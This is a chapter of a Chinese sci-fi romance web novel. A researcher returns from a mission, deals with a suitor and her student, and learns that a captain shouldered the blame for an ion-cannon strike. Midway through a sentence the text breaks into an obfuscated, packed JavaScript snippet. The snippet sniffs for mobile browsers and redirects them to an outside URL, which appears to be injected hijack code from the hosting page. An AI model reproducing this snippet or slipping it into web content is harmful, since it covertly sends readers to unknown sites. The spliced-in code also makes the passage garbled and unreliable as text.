罢了罢了,想这些作甚,她就是想管也管不了人家拓荒军的事情。 她还是老老实实干好自己分内的工作吧。 于是北辰星环清空所有杂念,开始进一步完善这份行动报告。 回程路上没有什么特别的事情,只不过姚定坤很忙,北辰星环也没有见过他,但他每日“早安”“午安”“晚安”一个都不落下。 这次仍然是半途就要先将姜启乾放下。 他走之前来找过北辰星环,依旧是有礼有节又温柔妥帖的样子。 他说走之前想为北辰星环庆功邀请她共进晚餐,北辰星环内心有些拒绝,但他这由头算得上正当,她不想刻意,只得赴宴。 仍然是一顿丰盛得如同宴席的晚餐,仍然是一张妙口叹尽古今。 北辰星环开始还担心他提及行动具体发现,她不确定姚定坤是否让他参与鉴定那息壤有没有人工编辑痕迹,这直接关乎她能不能讲、能讲多少,她晓得要保守机密。 但好在这姜启乾是个洞察人心的,并没有谈论这些会让她为难的事情。 用完晚餐,他也没有多迈出一步,只邀请她继续一同观景。不就是看看星空,北辰星环便放松了些警惕,没有过分推脱。 于是两人便又一起坐在这阶梯座位中,北辰星环只静静地看着观景舷窗外明明灭灭的星子。 “姚舰长?”身侧之人忽然喊了一声。 北辰星环下意识转头一望,那站在生活区走廊中、正在灯光下的不就是姚定坤。 那碧色的目光确也第一时间就精准将她捕获。 北辰星环说不出这一次是什么感觉,又或者各种感觉太过杂乱。 总之她挪开了目光,姚定坤也走离了这一处入口。 北辰星环回头刹那,却瞥见姜启乾眼中含了些晦暗深沉的思索与了然。尽管下一秒他就恢复了那温和有礼的谦谦君子模样,但北辰星环确定自己没看错。 “听说您这次行动与姚舰长同行,可是颇多收获吧。” 他温柔非常又带着些钦羡地这么说了一句。 北辰星环心中却警铃大作,她只说了句“略有收获”,然后抱歉了几声,就先行离开了。 此后,直到她离开“齐物”,也没有再见到过姚定坤。 即便回到首都星几日,北辰星环偶尔还是会想起那两日行动之惊心动魄。 她再一次精疲力竭醒来,她又做了一整夜的在森林里狂奔的梦。 北辰星环揉了揉脸,叠好被子站在落地窗前伸了个懒腰,窗帘自动缓缓移开,恒星太阳的光芒缓缓透入,她才感觉通气了些。 “重华,说一下今日行程。” “好的,主人。您今日需要接待西区古植物研究所的两位研究员团队,他们预计十点抵达中央科学院,之后你们会有报告交流会。今天下午四点,您还需要参加中央科学院的中层会议,您有个备注——‘记得早点去抢个后排位置’。您还有两条未读通讯,需要听一下吗?” 北辰星环大概能猜到那未读通讯是什么,但她还是说:“你念吧。” “好的,主人。一条来自您的母亲,还是让您再考虑一下参不参加婚礼。另一条来自姚舰长,他祝您早安。” “嗯。都不用回复。” 北辰星环洗漱完成,换好衣服,左手拾起桌上的书夹到胳膊下后拎起玄关的外套,另只手打开房门时却顿了顿。 她扭头对着室内最后说了句:“重华,也祝你早安。” “环环,你又在发呆!被我抓到了!”邵欢站在实验室门口就对着北辰星环大喊了一嗓子。 北辰星环抬眸瞥了她一眼,“你今天怎么踩点到的,不像你啊——还有,我没发呆,我在看你等等要给来访的研究员陈述的报告的演示文稿。” “哦,对对对,导儿,我等等给你试讲一遍吧,不然我有点紧张。”邵欢马上快步走进实验室。 很好,注意力这不就引开了。 “有什么好慌的,你又不是没讲过。我看完了,挺好的,你照着念都行。”北辰星环伸手拍拍邵欢的肩膀。 “那就好那就好,那我再看几遍熟练熟练。”邵欢便在自己的工作桌后就坐了。 北辰星环则开始继续思索这个问题——为什么还没人来找她? 她从星舰回程的那两天就开始盼着了,一直到今天,足足七天了,怎么还没有拓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15437160|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒军或是第九军的人来找她调查问话呢? 毕竟她可要担负这指使动用电离炮歼灭这么大一块区域的全部生物的重大责任呢! 她连解释的全套说辞可都想好了,非常完善,有理有据,她自信可以度过这一关。 “不对不对,导儿,怎么给你蒙混过关了呢,你这个状态还是不对啊。” 邵欢果然是邵欢,北辰星环真是无奈啊。 邵欢起身走到了她的工作桌边,一脸玩味。 “导儿,是不是你这次行动发生了什么值得‘探讨’的事情,我看你这回来之后老时不时就魂不守舍的。” “导儿,不会……不会是那个姚定坤吧?怎么样,我大堂姐看好的‘明日之星’,不一般吧?” 北辰星环看着邵欢这一脸好奇雀跃的样子,在心中无声地喊了几十遍“我的老天啊”…… “不不不,”北辰星环忽然一本正经地摇摇头,“这是军事机密,我不能透露。” 她以为这一句话就能堵住邵欢的嘴,可是事情的走向真的出乎她的意料。 “导儿,不是我托大,但我的保密等级可能比你还高呢……” 啊?北辰星环向邵欢望去,见她不像开玩笑的样子,不由睁大了眼。 “不信您大可查查看,您上那个军防总部的数据库,看看你前几天那个行动的代号是什么,我现场给你展示,让你看看我有没有阅读的权限。” 邵欢满脸自信,北辰星环只好陪她玩这游戏了。 北辰星环打开光脑调用联邦军防总部数据库的接口,然后进入她参与的军事行动的列表。 她参与的行动没那么多,按时间简单排序一下就能找到这个—— “息壤行动。” “息壤?哪个息壤——哦,古地球那个是吧?好,我试试看……” 邵欢调取查询接口的时候,北辰星环打开了名为“息壤行动”的这个条目,仔细阅读了起来。 然后她的眉头越皱越紧。 “导儿,你看你看。”邵欢一脸骄傲地将关闭防窥屏功能的光脑光屏凑过来给北辰星环看,却见她一脸严肃。 “怎么了,导儿?” 北辰星环扫了眼她的光脑,没想到她还真的有调取查阅的权限!这邵家人就是不一样啊……天生保密级别都这么高的吗? 她嘴上却只说着:“没什么。你不是想知道发生了什么吗?自己看这行动报告呗,他写得很详实。” 除了隐瞒了是她提出电离炮射击这一点,将所有责任都揽在了自己身上。 而这是有代价的,就像这《对姚定坤的处分处理决议》附件里写的那样——尽管他处理得当,当时情况确实危急,事后检查也没有发现他的行为过度破坏“碧垣”异星生态环境,但因为他过于冒进,没有上报拓荒军军部经过批复流程便直接执行可能造成生物种群灭绝后果的行动,将给予他军内公开批评警告并处扣除一个月薪资的处分。 她知道他这行为冒险了,所以她当初提醒了他一句。明明按照事实将这记在她的名下,就不会有什么大的问题。顶多他记个流程不完善的小错,她则被调查询问一番,不涉及原则问题,军部无权处置她。可如果不提她、不提贝曼,那他就会面临依据不足的诘问,后续一切行为都没有切实依据,沦为冒险的猜测了。 他应该也很明白这一点,可他仍是这样做了,这是为什么呢?